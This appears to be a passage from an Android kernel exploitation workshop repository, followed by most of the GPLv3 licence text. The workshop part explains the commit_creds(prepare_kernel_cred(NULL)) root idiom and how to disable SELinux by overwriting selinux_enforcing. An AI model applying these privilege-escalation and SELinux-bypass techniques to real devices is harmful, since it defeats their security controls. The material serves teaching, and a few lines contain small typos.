468 | * faults_memory, faults_cpu, faults_memory_buffer, faults_cpu_buffer
469 | * in this precise order.
470 | *
471 | * faults_memory: Exponential decaying average of faults on a per-node
472 | * basis. Scheduling placement decisions are made based on these
473 | * counts. The values remain static for the duration of a PTE scan.
474 | * faults_cpu: Track the nodes the process was running on when a NUMA
475 | * hinting fault was incurred.
476 | * faults_memory_buffer and faults_cpu_buffer: Record faults per node
477 | * during the current scan window. When the scan completes, the counts
478 | * in faults_memory and faults_cpu decay and these values are copied.
479 | */
480 | unsigned long *numa_faults;
481 | unsigned long total_numa_faults;
482 |
483 | /*
484 | * numa_faults_locality tracks if faults recorded during the last
485 | * scan window were remote/local or failed to migrate. The task scan
486 | * period is adapted based on the locality of the faults with different
487 | * weights depending on whether they were shared or private faults
488 | */
489 | unsigned long numa_faults_locality[3];
490 |
491 | unsigned long numa_pages_migrated;
492 | #endif /* CONFIG_NUMA_BALANCING */
493 |
494 | struct tlbflush_unmap_batch tlb_ubc;
495 |
496 | struct rcu_head rcu;
497 |
498 | /* Cache last used pipe for splice(): */
499 | struct pipe_inode_info *splice_pipe;
500 |
501 | struct page_frag task_frag;
502 |
503 | #ifdef CONFIG_TASK_DELAY_ACCT
504 | struct task_delay_info *delays;
505 | #endif
506 |
507 | #ifdef CONFIG_FAULT_INJECTION
508 | int make_it_fail;
509 | unsigned int fail_nth;
510 | #endif
511 | /*
512 | * When (nr_dirtied >= nr_dirtied_pause), it's time to call
513 | * balance_dirty_pages() for a dirty throttling pause:
514 | */
515 | int nr_dirtied;
516 | int nr_dirtied_pause;
517 | /* Start of a write-and-pause period: */
518 | unsigned long dirty_paused_when;
519 |
520 | #ifdef CONFIG_LATENCYTOP
521 | int latency_record_count;
522 | struct latency_record latency_record[LT_SAVECOUNT];
523 | #endif
524 | /*
525 | * Time slack values; these are used to round up poll() and
526 | * select() etc timeout values. These are in nanoseconds.
527 | */
528 | u64 timer_slack_ns;
529 | u64 default_timer_slack_ns;
530 |
531 | #ifdef CONFIG_KASAN
532 | unsigned int kasan_depth;
533 | #endif
534 |
535 | #ifdef CONFIG_FUNCTION_GRAPH_TRACER
536 | /* Index of current stored address in ret_stack: */
537 | int curr_ret_stack;
538 |
539 | /* Stack of return addresses for return function tracing: */
540 | struct ftrace_ret_stack *ret_stack;
541 |
542 | /* Timestamp for last schedule: */
543 | unsigned long long ftrace_timestamp;
544 |
545 | /*
546 | * Number of functions that haven't been traced
547 | * because of depth overrun:
548 | */
549 | atomic_t trace_overrun;
550 |
551 | /* Pause tracing: */
552 | atomic_t tracing_graph_pause;
553 | #endif
554 |
555 | #ifdef CONFIG_TRACING
556 | /* State flags for use by tracers: */
557 | unsigned long trace;
558 |
559 | /* Bitmask and counter of trace recursion: */
560 | unsigned long trace_recursion;
561 | #endif /* CONFIG_TRACING */
562 |
563 | #ifdef CONFIG_KCOV
564 | /* Coverage collection mode enabled for this task (0 if disabled): */
565 | enum kcov_mode kcov_mode;
566 |
567 | /* Size of the kcov_area: */
568 | unsigned int kcov_size;
569 |
570 | /* Buffer for coverage collection: */
571 | void *kcov_area;
572 |
573 | /* KCOV descriptor wired with this task or NULL: */
574 | struct kcov *kcov;
575 | #endif
576 |
577 | #ifdef CONFIG_MEMCG
578 | struct mem_cgroup *memcg_in_oom;
579 | gfp_t memcg_oom_gfp_mask;
580 | int memcg_oom_order;
581 |
582 | /* Number of pages to reclaim on returning to userland: */
583 | unsigned int memcg_nr_pages_over_high;
584 | #endif
585 |
586 | #ifdef CONFIG_UPROBES
587 | struct uprobe_task *utask;
588 | #endif
589 | #if defined(CONFIG_BCACHE) || defined(CONFIG_BCACHE_MODULE)
590 | unsigned int sequential_io;
591 | unsigned int sequential_io_avg;
592 | #endif
593 | #ifdef CONFIG_DEBUG_ATOMIC_SLEEP
594 | unsigned long task_state_change;
595 | #endif
596 | int pagefault_disabled;
597 | #ifdef CONFIG_MMU
598 | struct task_struct *oom_reaper_list;
599 | #endif
600 | #ifdef CONFIG_VMAP_STACK
601 | struct vm_struct *stack_vm_area;
602 | #endif
603 | #ifdef CONFIG_THREAD_INFO_IN_TASK
604 | /* A live task holds one reference: */
605 | atomic_t stack_refcount;
606 | #endif
607 | #ifdef CONFIG_LIVEPATCH
608 | int patch_state;
609 | #endif
610 | #ifdef CONFIG_SECURITY
611 | /* Used by LSM modules for access restriction: */
612 | void *security;
613 | #endif
614 |
615 | /*
616 | * New fields for task_struct should be added above here, so that
617 | * they are included in the randomized portion of task_struct.
618 | */
619 | randomized_struct_fields_end
620 |
621 | /* CPU-specific state of this task: */
622 | struct thread_struct thread;
623 |
624 | /*
625 | * WARNING: on x86, 'thread_struct' contains a variable-sized
626 | * structure. It *MUST* be at the end of 'task_struct'.
627 | *
628 | * Do not put anything below here!
629 | */
630 | };
631 | ```
632 |
633 | This data structure contains all the information to manage a process. One of the interesting members in this `task_struct` structure is `cred`.
634 |
635 |
636 | ## Process Credentials {#process-credentials}
637 |
638 | The **security context** of a task is defined by `struct cred` and is defined in `include/linux/cred.h`.
639 |
640 | ```c
641 | struct cred {
642 | atomic_t usage;
643 | #ifdef CONFIG_DEBUG_CREDENTIALS
644 | atomic_t subscribers; /* number of processes subscribed */
645 | void *put_addr;
646 | unsigned magic;
647 | #define CRED_MAGIC 0x43736564
648 | #define CRED_MAGIC_DEAD 0x44656144
649 | #endif
650 | kuid_t uid; /* real UID of the task */
651 | kgid_t gid; /* real GID of the task */
652 | kuid_t suid; /* saved UID of the task */
653 | kgid_t sgid; /* saved GID of the task */
654 | kuid_t euid; /* effective UID of the task */
655 | kgid_t egid; /* effective GID of the task */
656 | kuid_t fsuid; /* UID for VFS ops */
657 | kgid_t fsgid; /* GID for VFS ops */
658 | unsigned securebits; /* SUID-less security management */
659 | kernel_cap_t cap_inheritable; /* caps our children can inherit */
660 | kernel_cap_t cap_permitted; /* caps we're permitted */
661 | kernel_cap_t cap_effective; /* caps we can actually use */
662 | kernel_cap_t cap_bset; /* capability bounding set */
663 | kernel_cap_t cap_ambient; /* Ambient capability set */
664 | #ifdef CONFIG_KEYS
665 | unsigned char jit_keyring; /* default keyring to attach requested
666 | * keys to */
667 | struct key __rcu *session_keyring; /* keyring inherited over fork */
668 | struct key *process_keyring; /* keyring private to this process */
669 | struct key *thread_keyring; /* keyring private to this thread */
670 | struct key *request_key_auth; /* assumed request_key authority */
671 | #endif
672 | #ifdef CONFIG_SECURITY
673 | void *security; /* subjective LSM security */
674 | #endif
675 | struct user_struct *user; /* real user ID subscription */
676 | struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
677 | struct group_info *group_info; /* supplementary groups for euid/fsgid */
678 | /* RCU deletion */
679 | union {
680 | int non_rcu; /* Can we skip RCU deletion? */
681 | struct rcu_head rcu; /* RCU deletion hook */
682 | };
683 | } __randomize_layout;
684 | ```
685 |
686 | In most of the Linux **kernel exploits**, you must have seen that to achieve `root` they use
687 |
688 | ```c
689 | commit_creds(prepare_kernel_cred(NULL));
690 | ```
691 |
692 | Let's try to look into these two functions and see what they do. First, let's look into `prepare_kernel_cred` function which is defined in `kernel/cred.c`.
693 |
694 | ```c
695 | struct cred *prepare_kernel_cred(struct task_struct *daemon)
696 | {
697 | const struct cred *old;
698 | struct cred *new;
699 |
700 | new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
701 | if (!new)
702 | return NULL;
703 |
704 | kdebug("prepare_kernel_cred() alloc %p", new);
705 |
706 | if (daemon)
707 | old = get_task_cred(daemon);
708 | else
709 | old = get_cred(&init_cred);
710 |
711 | validate_creds(old);
712 |
713 | *new = *old;
714 | [...]
715 | validate_creds(new);
716 | return new;
717 |
718 | error:
719 | [...]
720 | return NULL;
721 | }
722 | ```
723 |
724 | This function basically take a pointer `task_struct` for which we want to prepare *kernel credentials*. The important part of the function is that if we provide `NULL` as the pointer to `task_struct` it will get the default credentials which is `init_cred`. `init_cred` is a global `struct cred` defined in `kernel/cred.c` which is used to initialize the credentials for the `init_task` which is the first **task** in Linux.
725 |
726 | ```c
727 | /*
728 | * The initial credentials for the initial task
729 | */
730 | struct cred init_cred = {
731 | .usage = ATOMIC_INIT(4),
732 | #ifdef CONFIG_DEBUG_CREDENTIALS
733 | .subscribers = ATOMIC_INIT(2),
734 | .magic = CRED_MAGIC,
735 | #endif
736 | .uid = GLOBAL_ROOT_UID,
737 | .gid = GLOBAL_ROOT_GID,
738 | .suid = GLOBAL_ROOT_UID,
739 | .sgid = GLOBAL_ROOT_GID,
740 | .euid = GLOBAL_ROOT_UID,
741 | .egid = GLOBAL_ROOT_GID,
742 | .fsuid = GLOBAL_ROOT_UID,
743 | .fsgid = GLOBAL_ROOT_GID,
744 | .securebits = SECUREBITS_DEFAULT,
745 | .cap_inheritable = CAP_EMPTY_SET,
746 | .cap_permitted = CAP_FULL_SET,
747 | .cap_effective = CAP_FULL_SET,
748 | .cap_bset = CAP_FULL_SET,
749 | .user = INIT_USER,
750 | .user_ns = &init_user_ns,
751 | .group_info = &init_groups,
752 | };
753 | ```
754 |
755 | Let's look at what these defines mean.
756 |
757 | ```c
758 | #define GLOBAL_ROOT_UID (uint32_t)0
759 | #define GLOBAL_ROOT_GID (uint32_t)0
760 | #define SECUREBITS_DEFAULT (uint32_t)0x00000000
761 | #define CAP_EMPTY_SET (uint64_t)0
762 | #define CAP_FULL_SET (uint64_t)0x3FFFFFFFFF
763 | ```
764 |
765 | `init_cred` basically sets the `cred` structure as shown below.
766 |
767 | ```c
768 | cred->uid = 0;
769 | cred->gid = 0;
770 | cred->suid = 0;
771 | cred->idid = 0;
772 | cred->euid = 0;
773 | cred->egid = 0;
774 | cred->fsuid = 0;
775 | cred->fsgid = 0;
776 | cred->securebits = 0;
777 | cred->cap_inheritable.cap[0] = 0;
778 | cred->cap_inheritable.cap[1] = 0;
779 | cred->cap_permitted.cap[0] = 0x3F;
780 | cred->cap_permitted.cap[1] = 0xFFFFFFFF;
781 | cred->cap_effective.cap[0] = 0x3F;
782 | cred->cap_effective.cap[1] = 0xFFFFFFFF;
783 | cred->cap_bset.cap[0] = 0x3F;
784 | cred->cap_bset.cap[1] = 0xFFFFFFFF;
785 | cred->cap_ambient.cap[0] = 0;
786 | cred->cap_ambient.cap[1] = 0;
787 | ```
788 |
789 | Let's look at the `commit_creds` function and try to understand what it does.
790 |
791 | ```c
792 | int commit_creds(struct cred *new)
793 | {
794 | struct task_struct *task = current;
795 | const struct cred *old = task->real_cred;
796 |
797 | [...]
798 |
799 | rcu_assign_pointer(task->real_cred, new);
800 | rcu_assign_pointer(task->cred, new);
801 |
802 | [...]
803 |
804 | return 0;
805 | }
806 | ```
807 |
808 | `commit_creds` basically sets the `task->real_cred` and `task->cred` with the pointer to new `cred` structure. However, as we had passed `NULL` to `prepare_kernel_cred` address of `init_cred`.
809 |
810 | This is how we get `root` and this basically means **privilege escalation**
811 |
812 |
813 | ## SELinux {#selinux}
814 |
815 | **Security-Enhanced Linux** was developed by **National Security Agency (NSA)** using **Linux Security Modules (LSM)**.
816 |
817 | There are two modes of **SELinux**
818 |
819 | * **permissive** - permission denials are *logged* but not *enforced*
820 | * **enforcing** - permission denials are *logged* and *enforced*
821 |
822 | In **Android** the default mode of **SELinux** is **enforcing** and even if we get **root**, we are subjected to **SELinux** rules.
823 |
824 | ```bash
825 | generic_x86_64:/ $ getenforce
826 | Enforcing
827 | ```
828 |
829 | So, we need to disable **SELinux** as well.
830 |
831 |
832 | ### selinux_enforcing {#selinux-enforcing}
833 |
834 | `selinux_enforcing` is a global variable which dictates whether **SELinux** is **enforced** or **not**. If we can figure out where `selinux_enforcing` is in memory and set it to `NULL`, then we can disable **SELinux** globally and now **SELinux** will be in **permissive** mode instead of **enforcing** mode.
835 |
836 |
837 | ## SecComp {#seccomp}
838 |
839 | **SecComp** stands for **Secure Computing** mode and is a Linux kernel feature that allows to **filter system calls**. When enabled, the process can only make **four** system calls `read()`, `write()`, `exit()`, and `sigreturn()`.
840 |
841 | When running the **exploit** from `adb` shell we are not subjected to **seccomp**. However, if we bundle the **exploit** in an **Android** application, we would be subjected to **seccomp**.
842 |
843 | In this workshop, we are not going to look at **seccomp**.
844 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU General Public License is a free, copyleft license for
11 | software and other kinds of works.
12 |
13 | The licenses for most software and other practical works are designed
14 | to take away your freedom to share and change the works. By contrast,
15 | the GNU General Public License is intended to guarantee your freedom to
16 | share and change all versions of a program--to make sure it remains free
17 | software for all its users. We, the Free Software Foundation, use the
18 | GNU General Public License for most of our software; it applies also to
19 | any other work released this way by its authors. You can apply it to
20 | your programs, too.
21 |
22 | When we speak of free software, we are referring to freedom, not
23 | price. Our General Public Licenses are designed to make sure that you
24 | have the freedom to distribute copies of free software (and charge for
25 | them if you wish), that you receive source code or can get it if you
26 | want it, that you can change the software or use pieces of it in new
27 | free programs, and that you know you can do these things.
28 |
29 | To protect your rights, we need to prevent others from denying you
30 | these rights or asking you to surrender the rights. Therefore, you have
31 | certain responsibilities if you distribute copies of the software, or if
32 | you modify it: responsibilities to respect the freedom of others.
33 |
34 | For example, if you distribute copies of such a program, whether
35 | gratis or for a fee, you must pass on to the recipients the same
36 | freedoms that you received. You must make sure that they, too, receive
37 | or can get the source code. And you must show them these terms so they
38 | know their rights.
39 |
40 | Developers that use the GNU GPL protect your rights with two steps:
41 | (1) assert copyright on the software, and (2) offer you this License
42 | giving you legal permission to copy, distribute and/or modify it.
43 |
44 | For the developers' and authors' protection, the GPL clearly explains
45 | that there is no warranty for this free software. For both users' and
46 | authors' sake, the GPL requires that modified versions be marked as
47 | changed, so that their problems will not be attributed erroneously to
48 | authors of previous versions.
49 |
50 | Some devices are designed to deny users access to install or run
51 | modified versions of the software inside them, although the manufacturer
52 | can do so. This is fundamentally incompatible with the aim of
53 | protecting users' freedom to change the software. The systematic
54 | pattern of such abuse occurs in the area of products for individuals to
55 | use, which is precisely where it is most unacceptable. Therefore, we
56 | have designed this version of the GPL to prohibit the practice for those
57 | products. If such problems arise substantially in other domains, we
58 | stand ready to extend this provision to those domains in future versions
59 | of the GPL, as needed to protect the freedom of users.
60 |
61 | Finally, every program is threatened constantly by software patents.
62 | States should not allow patents to restrict development and use of
63 | software on general-purpose computers, but in those that do, we wish to
64 | avoid the special danger that patents applied to a free program could
65 | make it effectively proprietary. To prevent this, the GPL assures that
66 | patents cannot be used to render the program non-free.
67 |
68 | The precise terms and conditions for copying, distribution and
69 | modification follow.
70 |
71 | TERMS AND CONDITIONS
72 |
73 | 0. Definitions.
74 |
75 | "This License" refers to version 3 of the GNU General Public License.
76 |
77 | "Copyright" also means copyright-like laws that apply to other kinds of
78 | works, such as semiconductor masks.
79 |
80 | "The Program" refers to any copyrightable work licensed under this
81 | License. Each licensee is addressed as "you". "Licensees" and
82 | "recipients" may be individuals or organizations.
83 |
84 | To "modify" a work means to copy from or adapt all or part of the work
85 | in a fashion requiring copyright permission, other than the making of an
86 | exact copy. The resulting work is called a "modified version" of the
87 | earlier work or a work "based on" the earlier work.
88 |
89 | A "covered work" means either the unmodified Program or a work based
90 | on the Program.
91 |
92 | To "propagate" a work means to do anything with it that, without
93 | permission, would make you directly or secondarily liable for
94 | infringement under applicable copyright law, except executing it on a
95 | computer or modifying a private copy. Propagation includes copying,
96 | distribution (with or without modification), making available to the
97 | public, and in some countries other activities as well.
98 |
99 | To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies. Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 |
103 | An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License. If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 |
112 | 1. Source Code.
113 |
114 | The "source code" for a work means the preferred form of the work
115 | for making modifications to it. "Object code" means any non-source
116 | form of a work.
117 |
118 | A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 |
123 | The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form. A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 |
134 | The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities. However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work. For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 |
147 | The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 |
151 | The Corresponding Source for a work in source code form is that
152 | same work.
153 |
154 | 2. Basic Permissions.
155 |
156 | All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met. This License explicitly affirms your unlimited
159 | permission to run the unmodified Program. The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work. This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 |
164 | You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force. You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright. Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 |
175 | Conveying under any other circumstances is permitted solely under
176 | the conditions stated below. Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 |
179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 |
181 | No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 |
187 | When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 |
195 | 4. Conveying Verbatim Copies.
196 |
197 | You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 |
205 | You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 |
208 | 5. Conveying Modified Source Versions.
209 |
210 | You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 |
214 | a) The work must carry prominent notices stating that you modified
215 | it, and giving a relevant date.
216 |
217 | b) The work must carry prominent notices stating that it is
218 | released under this License and any conditions added under section
219 | 7. This requirement modifies the requirement in section 4 to
220 | "keep intact all notices".
221 |
222 | c) You must license the entire work, as a whole, under this
223 | License to anyone who comes into possession of a copy. This
224 | License will therefore apply, along with any applicable section 7
225 | additional terms, to the whole of the work, and all its parts,
226 | regardless of how they are packaged. This License gives no
227 | permission to license the work in any other way, but it does not
228 | invalidate such permission if you have separately received it.
229 |
230 | d) If the work has interactive user interfaces, each must display
231 | Appropriate Legal Notices; however, if the Program has interactive
232 | interfaces that do not display Appropriate Legal Notices, your
233 | work need not make them do so.
234 |
235 | A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit. Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 |
245 | 6. Conveying Non-Source Forms.
246 |
247 | You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 |
252 | a) Convey the object code in, or embodied in, a physical product
253 | (including a physical distribution medium), accompanied by the
254 | Corresponding Source fixed on a durable physical medium
255 | customarily used for software interchange.
256 |
257 | b) Convey the object code in, or embodied in, a physical product
258 | (including a physical distribution medium), accompanied by a
259 | written offer, valid for at least three years and valid for as
260 | long as you offer spare parts or customer support for that product
261 | model, to give anyone who possesses the object code either (1) a
262 | copy of the Corresponding Source for all the software in the
263 | product that is covered by this License, on a durable physical
264 | medium customarily used for software interchange, for a price no
265 | more than your reasonable cost of physically performing this
266 | conveying of source, or (2) access to copy the
267 | Corresponding Source from a network server at no charge.
268 |
269 | c) Convey individual copies of the object code with a copy of the
270 | written offer to provide the Corresponding Source. This
271 | alternative is allowed only occasionally and noncommercially, and
272 | only if you received the object code with such an offer, in accord
273 | with subsection 6b.
274 |
275 | d) Convey the object code by offering access from a designated
276 | place (gratis or for a charge), and offer equivalent access to the
277 | Corresponding Source in the same way through the same place at no
278 | further charge. You need not require recipients to copy the
279 | Corresponding Source along with the object code. If the place to
280 | copy the object code is a network server, the Corresponding Source
281 | may be on a different server (operated by you or a third party)
282 | that supports equivalent copying facilities, provided you maintain
283 | clear directions next to the object code saying where to find the
284 | Corresponding Source. Regardless of what server hosts the
285 | Corresponding Source, you remain obligated to ensure that it is
286 | available for as long as needed to satisfy these requirements.
287 |
288 | e) Convey the object code using peer-to-peer transmission, provided
289 | you inform other peers where the object code and Corresponding
290 | Source of the work are being offered to the general public at no
291 | charge under subsection 6d.
292 |
293 | A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 |
297 | A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling. In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage. For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product. A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 |
310 | "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source. The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 |
318 | If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information. But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 |
329 | The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed. Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 |
337 | Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 |
343 | 7. Additional Terms.
344 |
345 | "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law. If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 |
354 | When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it. (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.) You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 |
361 | Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 |
365 | a) Disclaiming warranty or limiting liability differently from the
366 | terms of sections 15 and 16 of this License; or
367 |
368 | b) Requiring preservation of specified reasonable legal notices or
369 | author attributions in that material or in the Appropriate Legal
370 | Notices displayed by works containing it; or
371 |
372 | c) Prohibiting misrepresentation of the origin of that material, or
373 | requiring that modified versions of such material be marked in
374 | reasonable ways as different from the original version; or
375 |
376 | d) Limiting the use for publicity purposes of names of licensors or
377 | authors of the material; or
378 |
379 | e) Declining to grant rights under trademark law for use of some
380 | trade names, trademarks, or service marks; or
381 |
382 | f) Requiring indemnification of licensors and authors of that
383 | material by anyone who conveys the material (or modified versions of
384 | it) with contractual assumptions of liability to the recipient, for
385 | any liability that these contractual assumptions directly impose on
386 | those licensors and authors.
387 |
388 | All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10. If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term. If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 |
398 | If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 |
403 | Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 |
407 | 8. Termination.
408 |
409 | You may not propagate or modify a covered work except as expressly
410 | provided under this License. Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 |
415 | However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 |
422 | Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 |
429 | Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License. If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 |
435 | 9. Acceptance Not Required for Having Copies.
436 |
437 | You are not required to accept this License in order to receive or
438 | run a copy of the Program. Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance. However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work. These actions infringe copyright if you do
443 | not accept this License. Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 |
446 | 10. Automatic Licensing of Downstream Recipients.
447 |
448 | Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License. You are not responsible
451 | for enforcing compliance by third parties with this License.
452 |
453 | An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations. If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 |
463 | You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License. For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 |
471 | 11. Patents.
472 |
473 | A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based. The
475 | work thus licensed is called the contributor's "contributor version".
476 |
477 | A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version. For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 |
487 | Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
